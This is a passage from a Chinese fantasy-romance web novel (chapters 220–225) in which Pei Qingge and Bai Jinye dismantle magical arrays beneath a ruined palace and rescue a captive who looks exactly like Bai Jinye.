“你对自己可真够狠的。”楚星玄当然知道,任何东西和魂魄融合了,想要剥离,那就像是对灵魂用刑,比用火烧魂魄还要痛苦,“我让你不要藏拙,我们赶紧把这件事解决了,不是让你这么做的,你为什么……不提前商量下?” “那你还有更好的办法么?”裴清歌抬眼看他,“这已经是我能想到的,当前最合适的办法了。” 楚星玄沉默了会,才问,“白锦夜知道么?” “他只知道我快死了。”裴清歌说着顿了顿,“他帮不了什么,他也有自己的事情要做,知道得太多反而没什么好处。” “我不信他打算眼睁睁的看着你死。”楚星玄想起之前白锦夜对裴清歌的态度,就不相信他能平静地接受裴清歌的死。 “生老病死,人之常情,不管他能不能,他都得接受。”裴清歌看着他,“现在事情你都知道了,是打算去跟你爹通风报信也好,假装什么都不知道也好,都是你的事了。” 说完她没再理楚星玄,开始去找下一处符咒了。 楚星玄站在原地,盯着裴清歌看了半响,才开口问道,“有什么是我能帮忙的?” 裴清歌垂着眼,眼底闪过一丝笑意,但又很快消失不见,“如果你愿意帮忙,我想让你去帮我找个人。” “谁?”楚星玄看着她。 “第一任圣女的后人,她当时有孩子留在这世上,应该也还会有后代延续下来。”裴清歌一边刮着符咒一边道,“也许很难找,但也许也不难,你爹他们肯定也会留意她的后代,所以总能找到蛛丝马迹,找到之后,就把他带到盛京来。” “只要她的后代在这里,他们就不敢轻易启动盛京那些害人的阵法,等第一任圣女复生之时,对她的后代应该也会有亲切感,到时说不定他的后代能劝说些什么。” “这就已经是最坏的打算了,如果这一次我能成功,等她复生,也是几百年后了,到时候说不定她的后代已经在盛京开枝散叶,那就最好不过了。她因为自己的孩子才分心导致没能渡过雷劫,若是那时看到这么多的后代在,应该也不会想要因为自己的复生害了他们的性命。” “只不过这件事会很危险,你爹若是一旦发现你做这件事,恐怕也就不会留你了。” 楚星玄叹了口气,“我试试。”说完他转身要走,走了几步又停下来,“裴子墨,之前我们说过,要坦诚合作,我现在还是能相信你的吧?” “我要做的事不一定是对的,我只是不想见到生灵涂炭,如果你也不想见到,那你可以相信我。”裴清歌转头看了他一眼。 “好。”楚星玄应了一声,“我尽量在你死之前,把他带到盛京。”说完便直接离开了。 裴清歌把玩着手里的匕首,微微眯了眯眼,随即便感觉到什么,抬头朝门口的方向看去。 没一会,便见白锦夜脚步匆匆地走了进来,脸上也带着一丝急色。 第220章 若是你没有来天风国 看到裴清歌在东宫,白锦夜才松了一口气,随即快步走过来,“你要出来怎么也不说一声?”他的声音急切又带着责备,听起来语气已经不算是太好。 “你睡着。”裴清歌看着他,“况且,你睡觉的时候,不也是有事情要做?” 白锦夜微微皱了下眉,隔了会才说,“之前你师父跟我说过,每天不用睡太久,睡一个小时就可以了,而且也不一定是晚上睡,任何时候都可以。” “是么?”裴清歌收回目光,“关于‘神冥公’一脉的事情,我知道的不多,既然我师父这样说过,那应该就没什么问题。” 她说着轻轻叹了一口气,“我只是着急,这东宫就在各个细微之处刻了这么多符咒,整个皇宫还不知道有多少,况且你之前给我的名单,至少还有八处府邸,再加上萧府,我怀疑整个是一个九星拱月的阵法,然后每一处再有各自的安排,环环相扣,做这么大个阵法,不容易,想要毁掉,也很难。” 白锦夜知道劝不动她,只能说,“你把要刮掉的地方标记出来,我来刮,你去找,这样快一些。” “也行。”裴清歌点点头,把手里的匕首递给了白锦夜。 两个人一直忙活到快天亮,才趁着大家醒来之前赶紧回去了。 白锦夜本来也是可以不用睡觉的,他倒是没什么疲惫的感觉,可裴清歌不行,她本来身体就虚弱,又忙活了半夜,躺下之后眼皮就开始打架了。 看着她的模样,白锦夜不由心疼,抬手把她揽进怀里,低声道,“别太累了,能做多少做多少吧。”他的下巴贴在她的额上,轻轻的摩挲着,“你就想……如果你没有来天风国,那不就是什么都不知道?这里发生什么,好的坏的,你都不会知道,自然也就不可能做什么。现在也没必要这样勉强自己。” 裴清歌是想说什么的,但是还没来得及说,就睡了过去。 白锦夜轻轻地叹了口气,在她的额角轻轻地吻了下。 接下来的几天,裴清歌也就只是白天在处理,晚上无论如何白锦夜都不让她出去了。 白锦夜的梦里,也是偶尔就会多一个人。 开始的几次他还觉得别扭,但是她来的多了,他莫名的在她身上感觉到了一丝熟悉的感觉,反正两个人各自看书,谁也不打扰谁。 不过很快白锦夜也发现,她看的也是修习术法一类的书,并且内容很是深奥,他一句话都看不懂。 而且她在发现他偷看她的书的内容的时候,就迅速的躲开了,“这些东西,你看了没好处。” “只是想看看你在看什么。”白锦夜说着顿了顿,把这几天一直犹豫的问题问了出来,“你能教我术法么?” 裴清歌拧眉看着白锦夜,“你自己不是在修习?” “我的术法等睡醒就没有一点用了,我想学一些,在真实的世界里,能用得上的术法。”白锦夜微微拧了下眉头,“比如如何去发现和破解一些阵法,或者起码知道看到的阵法和符咒是干什么用的。” 裴清歌垂下眼,“这些东西,都需要经年累月的去学习,很多阵法和符咒一开始都是很简单的,等用的熟练了,就可以把多个阵法和符咒一起来用,看起来就变得复杂了。所以其实学会基础的阵法和符咒,自己再去组合就可以了。但即便是这样,基础的阵法符咒也有上千个,把每一个都背下来并且熟练应用以及掌握破解的方法,没有十年八年的时间,是不可能的。” “我来你这里,也不知道能来多久,说不定刚教了你两个阵法,我就再也来不了了,对你而言,没有任何意义。” 白锦夜的目光落在她手中已经合上的书上,“那你有没有相关的书,可以借给我看看?” 裴清歌同样看着他手中的书,“术法要一样一样学,你不能一种学到一半,又去学别的。其实那天我看你手里的书,如果能把里面的术法全都融会贯通,应该也很厉害。” 白锦夜微微皱起眉,言下之意,就是无论如何都不会教他术法了。 他本想着,若是能多学一些,也能帮帮裴清歌,她带着面具,他看不到她的脸色,但是他能感觉得到,她的气息在逐渐变弱。 大概跟最近不断地破解阵法也有关系,耗费的精力太多,身体本来就虚弱,这一下就更虚弱了。 “术法大概也是分门派的,每个门派分支修炼的方式都不一样,你已经有了自己的法门,再跟别人学,对你没什么好处。”裴清歌看着他脸上失望的神色又解释道,“很多人修习术法,都是从小开始,一点点积累,学任何东西都不可能一蹴而就,着急也没用。” 白锦夜看着她,沉默了会才说,“这样的话,也有人对我说过。” 裴清歌微皱了下眉头,知道自己也不能跟白锦夜说太多,不然他肯定会有所觉察,便低头继续看书,“既然有人跟你说过,你便耐心学好你自己的术法,不要来打扰我了。” “你说你已经死了,既然死了,为什么还要继续修习术法?”白锦夜不太理解。 裴清歌翻了一页书,“你以为在那个世界就人人平等了,没有好坏强弱之分了么?”说完微微侧过身,是不打算再说话了。 白锦夜轻轻叹了一口气,低头继续看书了。 隔了几日,萧公瑾进宫面圣的时候,顺便来看修葺的进度,等他跟工部尚书那边寒暄的差不多了,见到白锦夜在不远处看着他,心知他是有事找自己,便跟他一起走到了角落,“这些日子辛苦贤侄了。” 白锦夜懒得跟他攀亲戚,直接问,“你之前说的,你们家觉醒的血脉,还那个人为制造的血脉,这东西有办法从人身上剥离出去么?剥离了之后,人会怎么样?” 萧公瑾没想到白锦夜会问这个问题,但是他也听萧尺寒说了,最近白锦夜都和裴清歌在一起,他这么问,说不定是裴清歌跟他说什么了,当下神色微变,“是不是裴先生说什么了?要是找不到那位,就要想办法剥离血脉了?” 第221章 昭纯宫 白锦夜知道他误会了自己的意思,“没有,她没有说什么,我只是随便问问。” 萧公瑾犹豫了会,想着白锦夜也不会无缘无故问这样的问题,不过原因肯定是不方便说的,“自然觉醒的血脉,是没有办法剥离的,但是我听说,他们人为培养出来的妖莲,是可以的。” 白锦夜的手在袖子里一下子就握成了拳头,“怎么剥离?剥离之后呢?” “那种觉醒的方式,就是用秘法觉醒,我不清楚这秘法怎么实施,不过我知道剥离的时候,也同样是要施展秘法。传说一开始,那朵妖莲养成,他们觉得不太对劲的时候,就想过要剥离,并且也成功在另外一个还在生长的妖莲身上尝试成功了。可是等到了那朵妖莲的时候,秘法还没有布置好,就来不及了。” 萧公瑾说着顿了下,像是在回忆,隔了会才继续道,“那个被成功剥离妖莲的女子,据说后来是死了,就像是花被摘下来一样,一开始没什么异常,但逐渐枯萎,最后昏睡不醒,最后就死了。” 说完这个,他又有点着急,“裴先生真的什么都没说么?” 白锦夜抬眼看着远处,就像是裴清歌现在这样么?逐渐虚弱,最后再也醒不过来? “贤侄?”见到白锦夜半响都没说话,萧公瑾低声唤了他一句。 白锦夜这才回过神来,“没有,我只是那天听你说过之后,有了这样的想法,毕竟总得做好找不到那个人的最坏的打算。” 萧公瑾叹了口气,“只希望裴先生能找到吧。” “那就不耽搁萧太师了。”白锦夜说完,便转身往回走。 他之前还有那么一丝丝的侥幸,想着裴清歌会不会是在骗自己,她不想跟他在一起,总是用“不喜欢他、也不会喜欢他”这种理由拒绝已经烦了,于是就换了个理由。 反正没什么理由比死亡这件事更能说服人。 她不喜欢他,他可以央求着她给他一个机会。 可她如果死了,他还能怎么办呢? 他甚至想过,如果她真的是用这样的理由,想要避开他的话,他不如就放手吧。 他再纠缠下去,又和无赖有什么区别?只会让她越来越厌烦他。 可是…… 仔细想想,她又怎么会骗他? 她大概是连骗他都懒得骗的。 也许没有七情六欲的人,在任何事情面前,都可以理智,都可以冷静到随时放弃自己的生命。 白锦夜看着不远处裴清歌还在忙碌的身影,因为这个世界上,大概也没什么值得她留恋的…… 他微微皱了下眉头,真的就没有任何东西、任何人可以让她留恋么? 一晃半个月,裴清歌解决了大大小小四处阵法。 之后一连几天都没有再发现一个阵法,裴清歌有点着急,晚上也不顾白锦夜的阻止,还是跑了出去。 白锦夜放心不下,只能跟着一起去。 之前裴清歌从萧公瑾那要来了一份皇宫的图纸,已经解决的阵法都标在了图上,查看过的地方也都标记好了。 裴清歌对着月光,仔细地算了半响,指着图纸上的一处空地问,“这是什么地方?” 白锦夜对这里印象也不太深,想了好一会,才隐约的记起,“这是父皇年轻时最宠爱的妃子昭妃的寝宫昭纯宫,昭妃和父皇也算是青梅竹马,只不过家世差了些,不然父皇立后肯定就要立她了。” “因为没能立后,父皇大概觉得有亏于她,所以她的寝宫制式和皇后也没什么区别,不过也没过几年,昭纯宫走水,不只是昭妃,就连宫里不少宫人都没跑出来,烧死了不少人,那里也成了一片废墟。” “父皇下了旨意,走水的原因一日不查出来,那废墟就放在那不准重建。一直到父皇离世,原因也没有定论,因着这件事,父皇生前降罪过不少人,他不接受意外走水的结论,一直认为是有人故意害死昭妃。” “所以那里到现在都还是禁地,周围被高高的幔布围着,这么多年,里面是什么样,已经不知道了。” 裴清歌眯了眯眼,“那这可真是个藏阵法的好地方,咱们去看看。”她说着收起图纸,站起身,“这图纸也不全,找起来真麻烦。” “皇宫图纸,萧太师能给你一份,都是冒了死罪了。真正的最详细的图纸,是不会外流的。”白锦夜说着顿了顿,“就连我也不可能有分毫不差的图纸。” 裴清歌转头看了他一眼,“有你这么个人在卧榻之侧,怪不得白砺寒怎么都看你不顺眼。” 两个人一路摸到了昭纯宫,外面果然是一圈黄色的幔布,虽然这宫已经毁了很多年,可看样子这黄布倒是时常更换。 找了角落,两个人钻了进去,被烧毁的废墟过了这么多年,已经更是糟粕,任何东西稍稍碰一下就会断裂。 他们只能小心翼翼地走,昭纯宫的位置可一点都不偏僻,外面还有来往巡逻的卫兵,但凡一点声音,都会引起别人的注意。 裴清歌拧眉看着面前的废墟,半响都没有发现任何东西,便转头看了看白锦夜,见他微微摇了摇头。 他也没有感觉到什么异常,难道她猜错了? 按照她的推测,有几个位置都是适合阵眼的位置,探查过几处都没有异常,若是这昭纯宫也不是,那可就剩下御书房了。 裴清歌有点不死心,又往前走了几步,随即停了下来。 她蹲下身,查看地上的痕迹,“这里好像经常有人过来。” 白锦夜弯腰也看到了浅浅的脚印的印迹,对方似乎也有意擦拭掉自己的脚印,不过也没有那么仔细,所以多少还留下了一些。 沿着脚印一直走,就到了后院,在枯井前面,脚印消失了。 裴清歌微微眯起眼,怪不得外面看不到什么,这废墟上也不容易设立阵法,看样子,想要知道这里到底是什么阵法,就得到井下去看看了。 白锦夜也明白她的意思,“我先下去看看。”他低头查看了下,在井旁边,挂着个软梯,他用手拽了下,这宫殿糟烂不堪,但是这软梯倒是结实得很。 他沿着软梯下去片刻之后,就低声道,“下来吧。” 第222章 阴阳子母阵 裴清歌闻言也就下到了井里。 在外面还能借着月光,但是到了井下,裴清歌就彻底什么都看不见了。 若是以往,在黑暗中视物对她来说不算太难,可眼下却成了麻烦事。 她摸了摸身上,也没带什么照明的东西。 “走吧。”白锦夜伸过手,拉住她的手腕,低声道,“跟着我。” 裴清歌抿了抿唇,犹豫了会,还是道,“我看不清,你要是看到有什么异常的东西,就先停下来,告诉我你看到了什么。” “嗯。”白锦夜应了一声,眉心蹙得更紧,裴清歌本应该比他看得更清楚的,他无声地叹了口气,抓着她手腕的手微微握紧。 往前走了不过几丈的距离,白锦夜就停了下来,低声道,“前面有一道门,门上画了些阵法。”他说着拉着裴清歌的手,描绘着那些阵法的模样。 只描绘了一半,裴清歌就开了口,“是阻止气息外泄的阵法,看样子这里确实是阵眼了。”她眼底闪过一抹喜色,只要解决了阵眼,其他的阵法就算没有时间解决,也不会有太大的问题。 “门没锁,直接进去?”白锦夜又问。 “小心点。”裴清歌点点头。 白锦夜轻轻地把门拉开了一个小缝,警惕地往里面看了半响,才率先进了门,依旧没见到什么异状,便伸手拉过了裴清歌,又关上了门。 裴清歌抬手抓住白锦夜腰侧的衣服,“小心,这里若是阵眼,说不定会有什么机关。” 白锦夜点点头,低声告诉她附近都有什么。 也不敢乱走,就先沿着贴墙的位置小心翼翼的往前走。 这是个圆形的地下室,直径大概十丈左右。 裴清歌算了一下刚才走的方向,看样子,这井是在后院,但是却延伸到前殿,这整个地下室应该跟昭纯宫前殿的大小差不多。 走了差不多四分之一的距离,白锦夜的脚步突然停下来,声音极低,“有人来了。” 门口的阵法可以隔绝里面的气息,但是外面有人接近,在里面还是能感觉到的。 他这话说话,脸色也有点古怪,不过剩下的话也没再说,四处看了下,见到前面不远处有个木门的壁龛,便拉着裴清歌走了过去,抬手打开壁龛的门,这壁龛在胸口的位置以上,之前是干什么用的不知道,不过现在是空的。 壁龛的空间也不大,两个人多少有些挤,虽然再往前一段距离还有一个同样的壁龛,但他也不敢把裴清歌一个人放在这,便自己先跃了上去,然后伸过手,把裴清歌拉了上来。 他刚关上壁龛的门,入口处的门就被人打开,进来的人倒是光明正大的点着烛火,又把这密室里所有的烛火点燃,密室一下子就通亮了起来。 裴清歌眯了眯眼,适应了一会,才从木门的缝隙向外面看去,整个密室的情形这一下是彻底地看清了。 壁龛太小,她几乎就是靠在白锦夜的怀里,所以白锦夜也清晰地感觉到,裴清歌的身体僵硬了一下。 “这阵法……是阴阳子母阵,子阵和母阵必须同时破解,稍有一丝偏差,整个阵法就会立即启动,到时候……”裴清歌喃喃地道,“要破阵,得有两个我才行啊。” 说完,她轻轻叹了口气,收回目光,向来人看去。 进来的人,倒不是陌生人,竟然是云月宁。 裴清歌拧起眉,她第一次进宫那日,就曾经试探过云月宁,她是不懂术法的,如果那时候云月宁是伪装的,那演技也未免太好了。 云月宁看起来心情还不错,她进了门,便径直朝他们这边走过来。 裴清歌微微捏了捏手指,打算她如果真的是奔着他们来,那在她发现他们之前,她就得下手了。 手已经摸到了袖口掏符咒,就见云月宁从他们前面走过去,往前走了几步,竟然有个暗门,她打开暗门,之后是拉动铁链的声音,没一会,一个男子就被她从暗门里拉了出来。 男子的手脚都缚着铁链,被她牵引到密室中间的圆台上。 他们停下脚步,那男子也侧过了身。 裴清歌看着那人,眼珠子都快掉下来,那人的侧脸看上去,和白锦夜简直一模一样。 想起之前左辞跟她说过的话,她大概也知道云月宁要做什么了。 于是便收回了目光,看向壁龛里面的墙壁。 这墙壁上,也画着阵法,所以他们藏身的壁龛,原来应该并不是空的,这阵法看着像是镇压什么东西。 她研究着这阵法,外面也传来不堪入耳的声音。 那男子不知道被禁锢了多久,显然眼下也不是第一次了,可显然依旧还是不愿意配合的,没一会就传来云月宁的骂声,“你以为你是个什么东西?要不是长了这么一张脸,我早就把你抽筋扒皮了。” 随即便传来鞭子破空的声音,那男子闷哼了几声。 裴清歌拧着眉看过去,就见云月宁捏着他的下巴,把一瓶药灌进了他嘴里。 虽然明知道那不是白锦夜,但是看着同样的一张脸被这样虐待,还真是有点怪怪的。 白锦夜也皱起眉头,脸色难看的要死,之前以为云月宁成了皇后之后,总该收收心的,没想到竟然公然在宫中做这样的事,想着之前在宫中几次碰到云月宁时她看自己的眼神,这会蓦地觉得反胃。 “他们这么一折腾,不知道要多久了。”他靠在裴清歌耳边,压低了声音,“想办法弄晕了,改天再来吧。” “晚了。”裴清歌也压低声音,“刚才她从咱俩面前走过去的时候,把她弄晕没事,现在他俩在的地方离阵胆太近,任何术法都可能会激活阵胆,到时候就麻烦了。”她说着摸出银针,在几个穴位上刺下去,就暂且封闭了自己的听觉,只要不看,就完全可以当做什么事都没有。 同样的办法白锦夜不适用,他只能用布条堵住耳朵,可是冥尸的听觉格外发达,这布条几乎就是可有可无,他难受得要死,尤其是听着外面云月宁一声声的叫着他的名字,他都恨不得想要杀人。 裴清歌听不到声音,又闭上了眼睛,倒是没一会就睡了过去。 看着靠在自己怀里的人,白锦夜微微抿了抿唇,迟疑了下,抬手轻轻地摘掉了她的面具。 第223章 双胎 裴清歌被白锦夜晃醒的时候,外面没了动静,已经恢复了一片漆黑。 白锦夜先跳了下去,扶着裴清歌下来之后,就去找云月宁留下的蜡烛了。 裴清歌站在原地没有动,隐隐的觉得耳后不太对劲,伸手摸了下,才发现是面具翘起来一个角。 她按压好面具,白锦夜也点燃了蜡烛,她抬眼看着他的身影,轻轻皱了下眉头。 反正刚才云月宁来过,短时间也不可能再来了,既然这里也不是一直都没有人来过,就没必要再那么小心翼翼。 裴清歌拿着蜡烛,仔仔细细的查看过每一个角落,确认了自己的猜测之后,才看向白锦夜,“这个阵法要破除,动静会闹得很大,恐怕得找个借口把宫里的人都弄出去。” 白锦夜沉思了会,“眼下天气热了起来,大概也快到皇上避暑的时候了,回头跟萧太师商量下,让他想办法跟皇上说,把避暑的时间提前就好了。” 裴清歌只要宫里的人都出去,至于怎么出去,那是萧公瑾的事,不过眼下还能提到避暑的事,这京中还真是一片太平景象,她轻笑了一声,“看样子,边疆战事的事,还没传到皇上的耳朵里。” 白锦夜微微抿了抿唇,没接这个话题,只是说,“检查好了么?没问题咱们先走吧。” 只要想到云月宁刚才在这里做的事,他就一分一秒都不愿意在这里多停留。 裴清歌的目光落到那道暗门上,“把他带上,一起走吧。” 白锦夜满脸都写着不愿意,“带他干什么?” “这世上不免有巧合,两个人长得一模一样也不是没有,但是发生在你身上,就有点耐人寻味了。”裴清歌说着顿了顿,才补充,“我在他身上,隐约的感觉到一丝……跟你的气息相似的气息。” 听到这句话,白锦夜的脸都黑了,隔了会就直接质疑,“你现在身体虚弱,可能感觉错了。” 裴清歌摇了摇头,“你是我炼制的冥尸,我现在就算感受不到别的气息,像你和鬼卿,我还是很轻易能分辨出来。” 白锦夜站在那,动也不想动。 裴清歌只好提醒,“如果他确实跟你有什么关系,那萧忆翎的事可就能解决了。” 听到这个,白锦夜微微挑眉,几乎是冲到了暗门门口,打开了暗门。 那人的药效早就过去了,听到门又被打开,下意识地往后退了退,才见到站在门外的是个男人。 白锦夜大概扫了一眼暗门里面,不太大的地方,一张石床上铺着被褥,还有不少吃的喝的,也不知道被云月宁在这里养了多久,“不想继续待在这,就出来。” 那男子似乎一开始没反应过来,半响之后,才赶紧从暗门里走了出来。 白锦夜拽断了他的铁链。 裴清歌这才走过来,正仔细地打量着,白锦夜就侧身挡在她面前,压低了声音,“看我就够了,没必要这么仔细的看他。” “别捣乱。”裴清歌笑道,“这里能挡住气息,所以大概一直都没有人发现他的存在,等他从这一出去,就会立刻被人感受到,那时候就麻烦了。” 她说着割破自己的手指,在那男子的额上写下一道符咒,“这符咒能管十二个时辰,你一会直接把他带回府上,明天我跟萧公子碰面之后,就出宫去找你。” 白锦夜犹豫了下,一掌打晕那男子,拖着他往外走,“估摸着天也快亮了,你跟萧尺寒说完,就赶紧回来。” 裴清歌点点头,又看了遍这里的法阵,才跟在后面出了密室。 * 白锦夜不在,少了个人,第二天一早工头就发现了,好在工头是萧尺寒的人,知道白锦夜和裴清歌两个人是萧家安排进来办事的,所以也没有张扬,等萧尺寒来了,就赶紧告诉了他。 就算他不说,裴清歌也要说这件事,牵扯甚大,一句两句也说不清,只能告诉萧尺寒已经找到了这宫里最大的阵法,破解并不容易,已经让白锦夜先出宫去准备了,她这会也得离开了。 这事萧尺寒也要立刻告诉萧公瑾,于是就带上裴清歌一起出了宫。 裴清歌先去找白锦夜,进了门,便让白锦夜带她去见昨晚的那个男子。 白锦夜先回来,自然不是什么都没做,该问的话,都已经问过了。 那男子说自己从小就在宫里,但是从不见人,一直都被藏在那个密室之中,会有宫女和太监来教他读书识字,陪他说说话。 但是后来有一次,给他送饭的宫女再也没有来过,他饿的受不了就跑出来,才发现外面已经变成了一片废墟。 之后他就悄悄的去偷些东西吃,也不知道该去哪,就只能再回到那个密室。 直到有一次他偷吃的时候,被云月宁撞见,从此就被她锁在那,没办法逃脱。 “从小就在宫里?”裴清歌转头狐疑地看了看白锦夜,“当时净明师太,应该也是快临产的时候,进了宫,在宫里生下你,再假装大着肚子出宫回府吧?” 白锦夜点点头。 “莫非,净明师太当时生下的是双胎?”裴清歌眯了眯眼,“可如果是双胎,就算净明师太自己不知道,比如可能在生产的过程中晕了过去,那张太妃不可能不知道啊,他又怎么会在昭妃宫里的密室里?” “呵。”她想着也轻笑了一声,“这事可真是越来越有意思了。” 白锦夜皱起眉头,“那现在要怎么处理他?” “我暂时设置不了那么大的法阵,但是可以在一个小房间外面设置一个掩盖气息的法阵,只要他不出房间,就不会被人发现。”裴清歌看着他,“这事发生的这么突然,我一时也不知道该怎么办,但总之不是坏事,起码事情多了一层保险。” “先稳住他,让他不要乱走,然后我们把宫里的法阵解决了,之后再考虑吧。” “我们?”白锦夜看着她,“你愿意教我术法了?” 裴清歌摇了摇头,“时间这么紧,就算我教了你一星半点,你也破不了阴阳子母阵,况且破阵的人也要心意相通,时间上不能差一丝一毫。所以我只能控制你,这样基本上不会出什么纰漏。” 白锦夜轻轻叹了一口气,沉默了会才问,“这么大的阵法,是不是要耗费你极大的精力?会不会有危险?” 裴清歌垂眼看着地面,眼里闪过一抹晦涩,才低声道,“做什么事没危险呢?宫里的人出宫也需要时间安排,正好这段时间我先好好的养一养,到时候……问题应该不大。” 第224章 锦成 裴清歌又去问了一遍,得到的答案也没什么区别。 只不过问到他名字的时候,他的脸色有些古怪,隔了会才说,“我没有名字,他们说,如果有人问我叫什么,我就说自己叫白锦夜。” 这个回答,其实白锦夜已经听过一遍了,可现在再听一遍,还是哪里都别扭。 裴清歌垂眼下,或许这是张太妃的一步棋,当时有人害了她腹中的胎儿,她害怕白锦夜还会被人害死没办法长大,而她已经不能再生育,留下另外一个跟白锦夜长得一模一样的人,跟白锦夜一样来培养,假设哪一天白锦夜被人害死了,还有一个替身。 只不过张太妃和昭妃的关系,就耐人寻味了。 “你知道白锦夜是什么人么?”裴清歌又问。 他点了点头,“肃亲王。” “年前的时候,肃亲王在月城战死,你以后恐怕不能再冒充这个名字了。”裴清歌继续道。 “他死了?”男子上前一步,有些激动地抓住裴清歌的胳膊,“你说的是真的?你没有骗我?” 白锦夜拧着眉上前把男子的手拽开。 裴清歌看了他一眼,才对着那男子道,“这件事,你随便找个人问一问都能知道答案,我没有骗你的必要。” 他后退了几步,满脸的不可置信。 裴清歌看着他,“看样子,你对肃亲王,知道的还不少。” 这一次他没有说话。 “你和他长得一模一样,又从小就在宫里,其实你也不用多说,大概是什么样的关系,我们也能猜到。”裴清歌笑了笑,“你现在出去,也很危险,就暂时先在这里,等我们给你找到一个稳妥的去处,就会送你离开。” 说完,她也不打算停留,转身要走。 “那张嬷嬷呢?”男子又问道。 裴清歌的脚步顿了顿,“你是说张太妃身边的张嬷嬷?” “是。”他点点头。 “你如果想见她,等有了合适的机会,我们会想办法安排你们见面。”裴清歌只是道。 男子抿了抿唇,才低声道,“我叫锦成,这名字也没什么特殊的意义,不过是从肃亲王的名和字中各取一个字,是张嬷嬷给我起的名字。” “张嬷嬷还说什么了?”裴清歌重新看向她。 “她说……等肃亲王实力强大了,就会把我带出去。”锦成低声道。 裴清歌看向白锦夜,虽然他从来都不知道这件事,甚至于张嬷嬷可能也是在骗锦成,但是阴差阳错,倒是真的把他带出来了。 白锦夜沉默了会,心情多少有些复杂,隔了半响才说,“我们虽然把你带出来,但是那个女子还是会找你,你现在也不安全,就暂时先待在这里。” “我知道她是皇后。”锦成微微抿了下唇,他这么多年都在宫中,自然知道那个女人是谁,况且她大概是认为他不可能逃出来,也从来没有避讳过这些,经常在把他当成白锦夜的时候,把该说的不该说的都说出来,“你们放心,我不会乱走,你们救了我,我不会给你们添麻烦。” 从房间里出来,白锦夜轻轻地叹了口气,锦成大概比他矮半寸,身体也弱一些,更因为常年不见阳光,皮肤有些病态的白皙。 当时两个婴儿,一个留在张太妃身边当成皇子,一个终日生活在不见天日的密室。 他大概是运气好,不然说不定在密室的那个就是他,要被云月宁蹂躏,也不可能有机会认识裴清歌。 他忍不住抬手握住裴清歌的手,“清歌……” “你看好他吧。”裴清歌知道这会他难免多愁善感,也就直接打断了他的话,“等一会跟萧太师他们碰面之后,我就回普宁街了。” 白锦夜皱起眉,“你不留在这?” “嗯。”裴清歌应了一声,“有很多东西需要准备,也有些事需要你去办。”顿了顿她才补充,“这件事真的很重要,不能出一点纰漏,我以前也没有解过这么复杂的阵法,如果我们两个去破阵,万一没解好,被阵法反噬,咱俩可就都交代在里面了。” 白锦夜轻轻叹了口气,握着裴清歌的手又紧了紧,“那有什么事需要我去办?” “我之前跟你说,这大概是个九星拱月的阵法,昨晚也基本确定了,萧家的那个拱脚已经解决了,还剩下八个,得再我们解决阵眼之前,切断他们和主阵法的联系。但是以我现在的情况,解决完这八个,可能就没办法去解决阵眼了,所以这八个只能交给你了。” “这八家需要你找机会上门,找到阵法之后,我控制你来解决。”裴清歌抬眼看着他,“时间比较紧,所以我们只能分开行动了。” 说着话,榆北也来通传,说萧公瑾来了。 裴清歌便和白锦夜迎了出去,把事情仔细的跟萧公瑾说完,萧公瑾的表情严肃,但也犯了难色。 就算是皇上出宫避暑,也不会把所有人都带上,动静太大,有些人还是瞒不住。 “这样,我会跟皇上进言,能带上的都带上,实在带不了的,到时候让他们都远离昭纯宫。” 这种事裴清歌也不能强求宫里一个人都没有,该说的话说完,她就起身去锦成的房间外画阵法了。 白锦夜又和萧公瑾聊了半响,宫外还有八处阵法要解决,他贸然登门太过唐突,也只能让萧公瑾引荐。 裴清歌画完阵法,已经是傍晚了,连晚饭也没留下来吃就急匆匆的走了。 之后的一段时间,白锦夜也很少和裴清歌碰面,他几次去普宁街那边,都是门窗紧锁,似乎根本就没有人住。 碰面的时候,也都是裴清歌来找他,问问他去那八家的安排。 差不多就是他白天去,根据气息大概确定阵法的位置,晚上的裴清歌控制他再去一趟,容易破解的阵法,当场就破解掉。 不好破解的,就暂时用其他的阵法和符咒镇压。 裴清歌虽然炼成鬼卿和白锦夜两个冥尸,但是确实很少控制他们,她也怕在解阴阳子母阵的时候出现问题,所以这也算是提前练习一下。 等八家的阵法都解决完,皇上那边出宫避暑的行程也安排了,大批人马轰轰烈烈的出了京城。 他们出城的当晚,裴清歌就到了白锦夜的府上。 第225章 我真的不甘心 白锦夜看着裴清歌,这一次差不多有十来天没见,她的气色确实像是好了一些。 裴清歌拿了一张图纸铺在桌子上,是她拓下来的阴阳子母阵。 “那天我们藏身的壁龛,一共有九个,这九个,每一个都对应着外面的一个阵法。那天我看壁龛里也刻着镇压一类的阵法,镇压的应该是能轻易破解外面阵法的东西。不过我们藏身的那个已经空了,应该是被人拿走了。” “云月宁来来回回去了那么多次,大概也仔细地查看过那里,再加上锦成可能也不懂,所以动了里面能动的东西也不奇怪,等我们再去的时候,就先查看一下其他的壁龛,如果东西还在,那根据方位,也许能把剩下那几处没解决的阵法解决完。” “这个圆台上,是子阵的阵眼,最里面这里,是母阵的阵眼。这个阵法实际上是以子阵为中心,外面环绕的母阵。母阵对子阵起到了一个保护的作用,一旦有人破坏子阵,母阵就会发起攻击。但同时,母阵也把子阵的阵法威力限制在母阵之中,若是有人先破坏母阵,那子阵的威力就会散开。” 说到这,裴清歌微微顿了下,“到时候,你来解子阵,我来解母阵。” 白锦夜垂眼看着桌上的阵法,其实裴清歌怎么安排,他大概也就只能听从她的安排,毕竟到时候裴清歌控制他,他也没办法按照自己想的去做。 沉默了片刻之后,裴清歌才抬眼看他,“如果没有锦成,我会来解子阵,让你解母阵,因为一旦有一丝不同步,先解了子阵,站在子阵阵眼上的人,就会承受所有来自母阵的攻击,以我现在的情况,是没办法承受这样的攻击的,其实……即便你是冥尸,在这样的攻击之下,也可能是九死一生。” “如果我先死了,这阵法再也没办法破解,就彻底失败了。但如果……你来解子阵,就算母阵在攻击你,我也还能有一点时间来解阵。” 白锦夜明白了她的意思,现在有了锦成,“神冥公”的后人又多了一个,即便是他死了,也还有“神冥公”的血脉留在世上,“那如果母阵先解开了,子阵的威力散开呢?” “子阵的威力散开,不会只针对某一个人,会一直向外面扩散,本来是应该借助外面这九个阵法的威力,把整个盛京都笼罩住。但是我们现在已经破了外面的阵法,子阵的威力就不会有原来那么大,不过……普通人恐怕也承受不住。” “即便先后时间差得不多,子阵的威力刚散开阵眼就被立刻破掉,也还是会有一些威力散出去,毕竟这么多年被母阵困住的力量一直在积蓄,哪怕散出去一丝,被普通人碰到,也是要命的。” 裴清歌叹了口气,“若真是那样,皇宫里的人,大概都保不住了。” 白锦夜抿起唇,白砺寒带着他宠爱的后妃还有太后离开了,但是宫中还是有不少宫女、太监、嬷嬷、侍卫,储秀宫里也还有不少没被临幸过的姑娘。 